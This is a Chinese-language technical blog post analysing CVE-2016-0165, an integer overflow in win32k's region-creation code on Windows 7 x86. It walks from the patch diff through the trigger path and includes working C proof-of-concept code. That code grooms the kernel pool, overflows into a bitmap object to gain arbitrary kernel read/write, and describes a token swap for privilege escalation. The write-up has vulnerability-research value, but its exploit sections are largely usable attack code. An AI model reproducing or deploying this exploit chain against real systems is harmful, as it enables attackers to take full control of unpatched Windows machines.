[SAFE-ID: JIWO-2024-2747] 作者: 浩丶轩 发表于: [2020-09-04]
本文共 [421] 位读者顶过
-
目录
-
[出自:jiwo.org]
-
配置漏洞触发环境
-
-
漏洞原理
-
定位漏洞
-
触发路径
-
漏洞触发
-
poc构造
-
-
漏洞利用
-
内核内存布局
-
溢出覆盖内存块
-
垫片
-
定位位图句柄
-
提权
-
-
参考文章
-
CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。
而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。
配置漏洞触发环境
-
-
[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001
-
-
漏洞原理
-
定位漏洞
-
通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当调用ExAllocatePoolWithTag函数分配内存之前,增加了对ULongAdd函数和ULongLongToULong函数的调用。
这两个函数在运算时如果发现运算数值超过了ULONG整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。
接着我们追踪一下这个参数NumberOfBytes到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。
.text:BF876200 ; ---------------------------------------------------------------------------
.text:BF876200
.text:BF876200 loc_BF876200: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0j
.text:BF876200 lea eax, [ebp+NumberOfBytes]
.text:BF876203 push eax ; unsigned int *
.text:BF876204 xor edi, edi
.text:BF876206 inc edi
.text:BF876207 push edi ; unsigned int
.text:BF876208 push [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B call ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210 test eax, eax
.text:BF876212 jl loc_BF8763D2
.text:BF876218 mov eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B push 28h
.text:BF87621D pop ecx ; ecx为乘数
.text:BF87621E mul ecx ; mul reg32 的答案保存在edx:eax之中
.text:BF876220 lea ecx, [ebp+NumberOfBytes]
.text:BF876223 push ecx ; unsigned int *
.text:BF876224 push edx
.text:BF876225 push eax ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226 call _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B test eax, eax
.text:BF87622D jl loc_BF8763D2
.text:BF876233 cmp [ebp+NumberOfBytes], 0
.text:BF876237 jz short loc_BF87624E
.text:BF876239 push 67646547h ; Tag
.text:BF87623E push [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241 push 21h ; PoolType
.text:BF876243 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF876249 mov [ebp+P], eax
.text:BF87624C jmp short loc_BF876252
.text:BF87624E ; ----------------------------------------------------------------------------
-
这段代码配合注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,经历了如下的运算过程:
-
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28
即函数ExAllocatePoolWithTag申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域:
-
.text:BF87615C mov esi, [ebp+arg_0]
(省略无关内容)
.text:BF876189 mov eax, [esi+4]
.text:BF87618C mov [ebp+NumberOfBytes], eax
-
在MSDN可以找到PATHOBJ的结构:
-
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves;
} PATHOBJ;
-
+4偏移地址是被定义为ULONG cCurves的成员变量:
-
cCurves
The number of lines and Bezier curves that make up the path.
-
该变量表示当前PATHOBJ对象的曲线数目。也就是说(曲线数目 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是一致的:
-
.text:BF873FEA ; ---------------------------------------------------------------------------
.text:BF873FEA
.text:BF873FEA loc_BF873FEA: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2j
.text:BF873FEA lea eax, [ecx+1] ; ULONG cCurves
.text:BF873FED imul eax, 28h
.text:BF873FF0 test eax, eax
.text:BF873FF2 jz short loc_BF87400A
.text:BF873FF4 push 6E677247h ; Tag
.text:BF873FF9 push eax ; NumberOfBytes
.text:BF873FFA push 21h ; PoolType
.text:BF873FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF874002 mov edx, [ebp+arg_8]
.text:BF874005 mov [ebp+P], eax
.text:BF874008 jmp short loc_BF87400E
.text:BF87400A ; ---------------------------------------------------------------------------
接着往后跟进,查看一下申请出来的这块内存会被如何使用:
-
.text:BF8740D4 loc_BF8740D4: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18Cj
.text:BF8740D4 push [ebp+arg_8] ; struct _RECTL *
.text:BF8740D7 mov [eax+10h], esi
.text:BF8740DA mov eax, [ebx]
.text:BF8740DC push [ebp+P] ; struct EDGE * ; [ebp+P]保存的就是ExAllocatePoolWithTag申请的内存
.text:BF8740DF mov dword ptr [eax+30h], 48h
.text:BF8740E6 mov eax, [ebx]
.text:BF8740E8 mov [eax+18h], ecx
.text:BF8740EB mov eax, [ebx]
.text:BF8740ED mov [eax+14h], ecx
.text:BF8740F0 mov eax, [ebx]
.text:BF8740F2 mov [eax+34h], ecx
.text:BF8740F5 mov eax, [ebx]
.text:BF8740F7 lea ecx, [eax+48h]
.text:BF8740FA mov [eax+1Ch], ecx
.text:BF8740FD mov eax, [ebx]
.text:BF8740FF add eax, 20h
.text:BF874102 mov [eax+4], eax
.text:BF874105 mov [eax], eax
.text:BF874107 lea eax, [ebp+var_68]
.text:BF87410A push eax ; struct EDGE *
.text:BF87410B push [ebp+arg_0] ; struct EPATHOBJ *
.text:BF87410E call ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)
函数ExAllocatePoolWithTag申请的内存被当作函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到:
class EDGE
{
public:
PEDGE pNext;
LONG lScansLeft;
LONG X;
LONG Y;
LONG lErrorTerm;
LONG lErrorAdjustUp;
LONG lErrorAdjustDown;
LONG lXWhole;
LONG lXDirection;
LONG lWindingDirection;
};
这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET干了些什么。
VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound)
{
// Create an empty GET with the head node also a tail sentinel
pGETHead->pNext = pGETHead; // mark that the GET is empty
pGETHead->Y = 0x7FFFFFFF; // this is greater than any valid Y value, so
// searches will always terminate
PPATH ppath = po.ppath;
for (PATHRECORD *ppr = ppath->pprfirst;
ppr != (PPATHREC) NULL;
ppr = ppr->pprnext)
{
// If first point starts a subpath, remember it as such
// and go on to the next point, so we can get an edge.
PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;
pptfx = ppr->aptfx;
if (ppr->flags & PD_BEGINSUBPATH)
{
pptfxStart = ppr->aptfx; // the subpath starts here
pptfxPrev = ppr->aptfx; // this points starts next edge
pptfx++; // advance to the next point
}
// Add edges in PATH to GET, in Y-X sorted order.
pptfxEnd = ppr->aptfx + ppr->count;
while (pptfx < pptfxEnd)
{
pFreeEdges =
AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);
pptfxPrev = pptfx;
pptfx++; // advance to the next point
}
// If last point ends the subpath, insert the edge that
// connects to first point.
if (ppr->flags & PD_ENDSUBPATH)
{
pFreeEdges =
AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);
}
}
}
函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET,函数vConstructGET循环调用函数AddEdgeToGET来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,最后将下一个EDGE元素地址作为返回值返回。
pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET
pGETHead->pNext = pFreeEdge;
return(++pFreeEdge);
由于函数ExAllocatePoolWithTag申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时候,将会造成OOB覆盖其他内容,从而导致系统BSOD的触发。
触发路径
NtPathToRegion函数
Win32k中的很多函数都会调用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion函数:
-
DCOBJ::DCOBJ((DCOBJ *)&v9, a1);
......
XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);
if ( v8 )
{
v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);
v11 = 0;
RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
if ( v10 )
{
v5 = HmgInsertObject(v10, 0, 4);
if ( !v5 )
RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
}
else
{
v5 = 0;
}
......
该函数用于根据被选择在 DC 对象中的路径 PATH 对象创建区域 REGION 对象,生成的区域将使用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。
由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。
在成功执行从路径到区域的转换操作之后,系统将释放目标 DC 对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。
XEPATHOBJ v7被作为第二个参数传递给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ构造函数中依据用户对象DCOBJ v9进行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ构造函数中依据NtPathToRegion函数的唯一参数HDC a1进行了初始化。
DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2)
{
DCOBJ *v2; // esi
v2 = this;
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
XDCOBJ::vLock(this, a2);
return v2;
}
-
出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。
XEPATHOBJ::XEPATHOBJ构造函数
-
XEPATHOBJ::XEPATHOBJ(HPATH hPath)
{
ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);
if (ppath != (PATH*) NULL)
{
// Load up accelerator values:
cCurves = ppath->cCurves;
fl = ppath->fl;
}
return;
}
此函数首先调用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。
之后对cCurves赋值,没错,就是前面那个导致了溢出的cCurves。
至此,我们揪出了cCurves的来源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配。
漏洞触发
PolylineTo 函数
虽然刚刚大言不惭的说了要控制HDC a1句柄,但也没那么简单,我们要考虑具体如何操作。这里我们使用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线:
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
......
return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
NtGdiPolyPolyDraw函数
PolylineTo 函数最终调用NtGdiPolyPolyDraw系统调用:
函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。
cpt = 0;
for ( i = 0; ; ++i )
{
v13 = cpt;
if ( i >= ccpt )
break;
cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )
goto LABEL_56;
NtGdiPolyPolyDraw函数规定了调用时的线条总数目,不能大于 0x4E2000,否则直接返回失败。
switch ( iFunc )
{
case 1:
v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);
break;
case 2:
v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);
break;
case 3:
v11 = GrePolyBezier(hdc, v7, ulCount);
break;
case 4:
v11 = GrePolylineTo(hdc, v7, ulCount);
break;
case 5:
v11 = GrePolyBezierTo(hdc, v7, ulCount);
break;
case 6:
v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);
break;
default:
v18 = 0;
goto LABEL_47;
根据参数iFunc的值进入不同的绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会调用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo 函数传入的 cpt 变量。
GrePolylineTo 函数
DCOBJ::DCOBJ(&v12, a1);
......
EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);
v8 = 1;
PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);
if ( !v14 )
{
EngSetLastError(8);
LABEL_12:
PATHSTACKOBJ::~PATHSTACKOBJ(&v13);
v6 = 0;
goto LABEL_9;
}
if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )
goto LABEL_12;
v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);
DC::vCurrentPosition(v12, &a2[a3 - 1], v9);
GrePolylineTo 函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,接下来定义了 PATHSTACKOBJ v13 用户对象。
函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。
EPATHOBJ::bPolyLineTo 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
{
EPATHOBJ *v4; // esi
int result; // eax
int v6; // [esp+4h] [ebp-Ch]
unsigned int v7; // [esp+8h] [ebp-8h]
struct _POINTL *v8; // [esp+Ch] [ebp-4h]
v4 = this;
if ( !*(this + 2) )
return 0;
v6 = 0;
v8 = a3;
v7 = ulCount;
result = EPATHOBJ::addpoints(this, a2, &v6);
if ( result )
*(v4 + 1) += ulCount;
return result;
}
EPATHOBJ::bPolyLineTo 执行具体的从 DC 对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的具体操作。执行成功后,将参数 ulCount 的值增加到成员变量 cCurves 中。
现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)的cpt变量就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配,但离完整的poc还有点距离,接着构造poc。
poc构造
因为是32位系统,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x6666665 。但是cCurves在RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,具体代码如下:
VOID EPATHOBJ::vCloseAllFigures()
{
PPATHREC ppr = ppath->pprfirst;
while (ppr != (PPATHREC) NULL)
{
if (ppr->flags & PD_ENDSUBPATH)
{
if (!(ppr->flags & PD_CLOSEFIGURE))
{
ppr->flags |= PD_CLOSEFIGURE;
cCurves++;
}
}
ppr = ppr->pprnext;
}
}
此函数遍历PPATHREC列表,并将所有未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves的值增加1。
也就是说,我们只要达成v6 > 0x6666664就可以造成整数溢出了。但是NtGdiPolyPolyDraw系统调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来达到溢出。完整代码如下:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
int main(int argc, char* argv[])
{
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
虽然我们预想的很好,但是触发BSOD的几率非常低,因为覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时候,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了好多次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。
-
漏洞利用
-
内核内存布局
虽然我们的poc触发成功率不高,但它确实破坏了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。
但如果我们提前进行堆布局,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时候就不会对相邻内存块进行校验,这样虽然依旧进行了OOB,但并不会触发崩溃。
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
int main(int argc, char* argv[])
{
for (LONG i = 0; i < 5000; i++)
{
hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 7000; i++)
{
ACCEL acckey[0x0D] = { 0 };
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 2000; i < 4000; i++)
{
DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
DebugBreak();
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
因为0x18字节不方便占位,所以我们稍微提高画线数目为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap 函数申请大量的0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。
但是因为SURFACE结构本身就要占用0x154字节,所以使用 CreateAcceleratorTable 函数。
通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提升更大的概率。
随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。
-
现在,RGNMEMOBJ::vCreate 函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。
溢出覆盖内存块
因为创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET 函数的访问范围。
if ( pClipRect )
{
if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
return pFreeEdge;
if ( iYStart < pClipRect->top )
{
bClip = 1;
iYStart = pClipRect->top;
}
if ( iYEnd > pClipRect->bottom )
iYEnd = pClipRect->bottom;
}
ipFreeEdge_Y = (iYStart + 15) >> 4;
*((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
*((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
return pFreeEdge;
函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge 指针不向后移。
第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge 指针指向的地址。
此处的右移 4 比特位只是在还原之前在 EPATHOBJ::createrec 和 EPATHOBJ::growlastrec 函数中存储坐标点时左移 4 比特位的数值。
因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置开始连续写入的 EDGE 个数。
-
域 sizlBitmap 位于 0xfe29d028 位置,域 pvScan0 位于 0xfe29d038 位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF 这样的特殊值。
这样一来就不能使位图 SURFACE 对象直接作为内存页的起始位置,需要在 EDGE 缓冲区内存块和位图 SURFACE 对象内存块之间增加“垫片”,以使 0xFFFFFFFF 这样的特殊值能被覆盖到我们特别关注的域中。
垫片
这个垫片的作用其实就是把 EDGE 缓冲区内存块前面的f90内存块分成两个内存块,内存页起始位置我们申请一块内存来占位,大小合适的话就可以使切割出来的堆块的域 sizlBitmap 被修改成 0xFFFFFFFF 。
我们先释放掉所有的f90内存块,然后分配一块较大但是又不超过f90的内存块,这里使用设置剪贴板的方式来分配用作垫片的缓冲区,在不调用函数 OpenCliboard 并清空剪贴板数据的前提下调用 SetClipboardData 函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。
但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
VOID
CreateClipboard(DWORD Size)
{
PBYTE Buffer = (PBYTE)malloc(Size);
FillMemory(Buffer, Size, 0x41);
Buffer[Size - 1] = 0x00;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
int main(int argc, char* argv[])
{
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = 5; // same values to ignore
}
for (LONG i = 0; i < 75; i++)
{
point[i].y = i + 1; // to rewrite such edge elements.
}
HDC hdc = GetDC(NULL);
auto ret = BeginPath(hdc);
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
ret = EndPath(hdc);
// 0xF90+0x70=0x1000
for (LONG i = 0; i < 4000; i++)
{
// 0xE34+0x154+8=0xF90
hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 5500; i++)
{
ACCEL acckey[0x0D] = { 0 };
// 0x0D*6+0x12+4+8~0x70
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 0; i < 4000; i++)
{
// free original bitmaps
ret = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
// 0xB70+0x420=0xF90
for (LONG i = 0; i < 4000; i++)
{
// create shim clipdatas
// 0xB5C+0xC+8=0xB70
CreateClipboard(0xB5C);
}
for (LONG i = 0; i < 4000; i++)
{
// create usable bitmaps
// 0xB1*0x01*4+0x154+8=0x420
hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
}
for (LONG i = 2000; i < 4000; i++)
{
// dig hole to place edge buffer
ret = DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
DebugBreak();
PathToRegion(hdc);
return 0;
}
接着我们跟进一下看看内存到底有没有被成功覆盖。
成员sizlBitmap.cy 被覆盖成 0xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以利用该 sizlBitmap.cy 成员值的广阔范围,将当前位图 SURFACE 对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE 对象进行操作,将其作为扩展位图 SURFACE 对象,覆盖其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 对象,实现“指哪打哪”的目的。
定位位图句柄
pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
{
index = i;
break;
}
}
hbmpmain = hbitmap[index];
我们通过循环调用 GetBitmapBits 函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE 对象的句柄,获取 0x1000 字节的一整个内存页大小的位图数据。
大部分配有被覆盖数据的位图 SURFACE 对象的像素点数据区域大小仍旧是原来的 0xB1*0x01*4=0x2C4 字节大小,所以返回值只可能是不超过 0x2C4 的数值;而针对被我们覆盖数据的主控位图 SURFACE 对象而言,由于 sizlBitmap 成员的值被覆盖成 0x01 和 0xFFFFFFFF 数值,所以在计算位图像素点数据“实际大小”时,计算出来的结果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。
这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0 大的数,因此得以命中。命中成功后 pBmpHunted 缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 0x1000 字节范围的内存数据。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
LONG ret = 0;
pBmpHunted[iExtpScan0] = addr;
ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (ret < 0x1000)
{
return FALSE;
}
ret = SetBitmapBits(hBmpExtend, cb, pvBits);
if (ret < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
接着定位拓展位图对象,因为在句柄表中二者不一定相邻,所以我们可以讲拓展位图的大小修改,再通过上面的办法来遍历拓展位图的句柄。
然后通过主控位图 SURFACE 对象控制扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域修改为任意内核地址,便可轻松实现对内核任意地址的读写,“指哪打哪”的目的就实现了。
提权
这一部分就大同小异了,直接替换Token就好。至此,我们成功实现了提权。
|